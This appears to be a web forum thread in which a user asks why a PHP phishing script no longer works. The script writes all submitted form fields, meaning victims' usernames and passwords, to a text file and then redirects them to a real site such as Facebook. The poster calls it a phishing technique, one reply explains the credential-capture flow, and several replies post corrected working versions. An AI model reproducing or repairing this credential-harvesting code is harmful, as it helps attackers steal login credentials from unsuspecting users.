Why doesnt this code work anymore?

dalinkwent6

Junior Member
Joined
Jun 30, 2013
Messages
114
Reaction score
16
Code:
<?php
header ('Location: [URL="http://www.facebook.com/"]w[/URL]ebsite.com"');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
  fwrite($handle, $variable);
  fwrite($handle, "=");
  fwrite($handle, $value);
  fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Im sure you guys are familiar with this code. But if not, its a code that saves whatever a user types in a form into a txt file. I've played with it a few times and was able to get it to save the txt file but with blank content. I know its an old trick back in the day but i just want to know what changed.
 
If by not working you mean that the redirect is no longer happening... you have a double-quote inside of that single-quoted string.

header ('Location: website.com"');

EDIT: Also, get in the habit of doing all your work first and then issuing the header for the redirect last unless forking is involved.
 
And why do you have the "w" in "website.com" linking to FB?

Ref.:
Code:
header ('Location: [URL="http://www.facebook.com/"]w[/URL]ebsite.com"');
 
sorry, it was actually fbdotcom at first then i quickly changed it to the generic websitedotcom. The "" was also a typo. This is actually part of a ph1shing technique that was used back in the day
 
Code:
if(!isset($_SESSION['user'])) {       
ob_start();
header("Location: https://sitename.com/login.php");

{// your_code_here}; }
 
exit();
 
Why do you redirect the page to website.com? I think that's where the problem is. Remove that line and you should be fine. I mean, Remove this line:

Code:
header ('Location: [URL="http://www.facebook.com/"]w[/URL]ebsite.com"');
 
Why do you redirect the page to website.com? I think that's where the problem is. Remove that line and you should be fine. I mean, Remove this line:

Code:
header ('Location: [URL="http://www.facebook.com/"]w[/URL]ebsite.com"');

he is trying to recreate a login box that saves the info [login:pass] into a text.
after the user writes the info in the boxes he gets redirected to the website [in this case fbdotcom] and his info is rewritten in the login URI to appear as a seamless login from an outside website...

this part of the code just handles info saving to text... i'm guessing after this he has a bunch of code which doesn't work anymore because of the 'https' protocols which don't allow logging from outside sources.

that's why login boxes and plugins which use your profiles [twitter, fb, etc] need apps running in the same environment
 
If you mean not redirecting, this could be the problem.

// you have a double quote inside the single quote.
header ('Location: website.com"');


//try this one.
//maybe consider putting the complete url, but that wont be an issue anyway. :)
header ('location: https://www.website.com');

Hope this helps. Best of luck.
 
<?php
header("Location: http://www.site.com");
$handle = fopen("usernames.txt", "a");
foreach($_GET as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

get / post logic ?
 
Last edited:
Location header redirection does not redirect POST params,
if it was GET params then your code can work in a way or another
also try this it will resolve the issue of redirection as we will use meta header to do it
PHP:
<?php
header( "refresh:1;url=websitecom" ); 
$handle = fopen("usernames.txt", "a");
foreach($_GET as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit();


Thanks
 
Back
Top